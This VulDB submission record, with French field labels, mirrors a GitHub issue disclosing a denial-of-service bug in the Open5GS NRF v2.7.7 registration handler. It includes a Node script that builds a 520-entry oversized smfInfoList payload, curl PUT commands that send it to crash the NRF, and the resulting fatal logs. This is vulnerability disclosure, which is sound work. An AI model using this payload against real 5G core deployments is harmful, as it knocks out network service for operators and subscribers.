| Titre | Open5gs NRF v2.7.7 Denial of Service |
|---|
| Description | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
NRF aborts when a valid NF registration contains an oversized `smfInfoList` map.
This is not the already-documented `smfInfo.sNssaiSmfInfoList[*].dnnSmfInfoList`
fixed-array assertion. Here the crash comes earlier, because
`ogs_nnrf_nfm_handle_nf_profile()` iterates over every `smfInfoList` entry and
calls `handle_smf_info()` once per entry:
```c
OpenAPI_list_for_each(NFProfile->smf_info_list, node) {
OpenAPI_map_t *SmfInfoMap = node->data;
if (SmfInfoMap && SmfInfoMap->value)
handle_smf_info(nf_instance, SmfInfoMap->value);
}
```
`handle_smf_info()` allocates one `ogs_sbi_nf_info_t` per entry and asserts if
the fixed `nf_info_pool` is exhausted:
```c
nf_info = ogs_sbi_nf_info_add(&nf_instance->nf_info_list, OpenAPI_nf_type_SMF);
ogs_assert(nf_info);
```
`ogs_sbi_nf_info_add()` logs a fatal allocation failure and returns `NULL`:
```c
ogs_pool_alloc(&nf_info_pool, &nf_info);
if (!nf_info) {
ogs_fatal("ogs_pool_alloc() failed");
return NULL;
}
```
The pool is sized as:
```c
ogs_pool_init(&nf_info_pool, ogs_app()->pool.nf * OGS_MAX_NUM_OF_NF_INFO);
```
With default settings that becomes `64 * 8 = 512`. A single NF registration
request with enough `smfInfoList` entries can therefore exhaust the pool and
terminate NRF.
### Root cause
- Entry route:
`PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}`
- Iteration site:
`../lib/sbi/nnrf-handler.c:272-275`
- Allocation site:
`../lib/sbi/nnrf-handler.c:413-415`
- Exact helper failure:
`../lib/sbi/context.c:1674-1677`
- Root cause family:
resource exhaustion leading to assertion abort
- Controlling field:
`NFProfile.smfInfoList`
### Steps to Reproduce
1. Resolve the current NRF IP:
```bash
NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf)
echo "$NRF_IP"
```
2. Generate a small control payload and a large malicious payload:
```bash
node <<'NODE'
const fs = require('fs');
function smfInfoEntry(dnn) {
return {
sNssaiSmfInfoList: [
{
sNssai: { sst: 1, sd: '000001' },
dnnSmfInfoList: [{ dnn }],
},
],
};
}
function makeProfile(id, count) {
const smfInfoList = {};
for (let i = 0; i < count; i++) {
smfInfoList[`entry-${String(i + 1).padStart(4, '0')}`] =
smfInfoEntry(`dnn-${i + 1}`);
}
return {
nfInstanceId: id,
nfType: 'SMF',
nfStatus: 'REGISTERED',
fqdn: `${id}.example.org`,
smfInfoList,
};
}
fs.writeFileSync('/tmp/nrf-smfinfo-list-control.json', JSON.stringify(
makeProfile('66666666-6666-6666-6666-666666666666', 4)
));
fs.writeFileSync('/tmp/nrf-smfinfo-list-bomb.json', JSON.stringify(
makeProfile('77777777-7777-7777-7777-777777777777', 520)
));
NODE
```
3. Control case: register the NF with four `smfInfoList` entries.
```bash
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 \
-X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/66666666-6666-6666-6666-666666666666" \
-H 'content-type: application/json' \
--data @/tmp/nrf-smfinfo-list-control.json
```
4. Malicious case: restart NRF and send the oversized `smfInfoList` profile.
```bash
start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 \
-X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/77777777-7777-7777-7777-777777777777" \
-H 'content-type: application/json' \
--data @/tmp/nrf-smfinfo-list-bomb.json
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf
docker logs --since "$start_ts" nrf 2>&1 | tail -n 20
```
### Logs
```shell
Control response:
HTTP/2 201
Malicious client-visible failure:
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
Container state after the crash:
exited 139 2026-04-12T06:23:56.878437103Z 0
NRF logs:
04/12 06:23:56.792: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676)
04/12 06:23:56.792: [sbi] FATAL: handle_smf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:415)
04/12 06:23:56.792: [core] FATAL: backtrace() returned 12 addresses (../lib/core/ogs-abort.c:37)
```
### Expected behaviour
NRF should reject unreasonably large `smfInfoList` collections with a normal HTTP error and remain running.
### Observed Behaviour
A single valid NF registration containing an oversized `smfInfoList` map terminates the NRF process with exit code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| La source | ⚠️ https://github.com/open5gs/open5gs/issues/4463 |
|---|
| Utilisateur | LinJu (UID 97503) |
|---|
| Soumission | 20/04/2026 21:54 (il y a 1 mois) |
|---|
| Modérer | 16/05/2026 12:09 (26 days later) |
|---|
| Statut | Dupliqué |
|---|
| Entrée VulDB | 362588 [Open5GS jusqu’à 2.7.7 NRF lib/sbi/nnrf-handler.c ogs_nnrf_nfm_handle_nf_profile déni de service] |
|---|
| Points | 0 |
|---|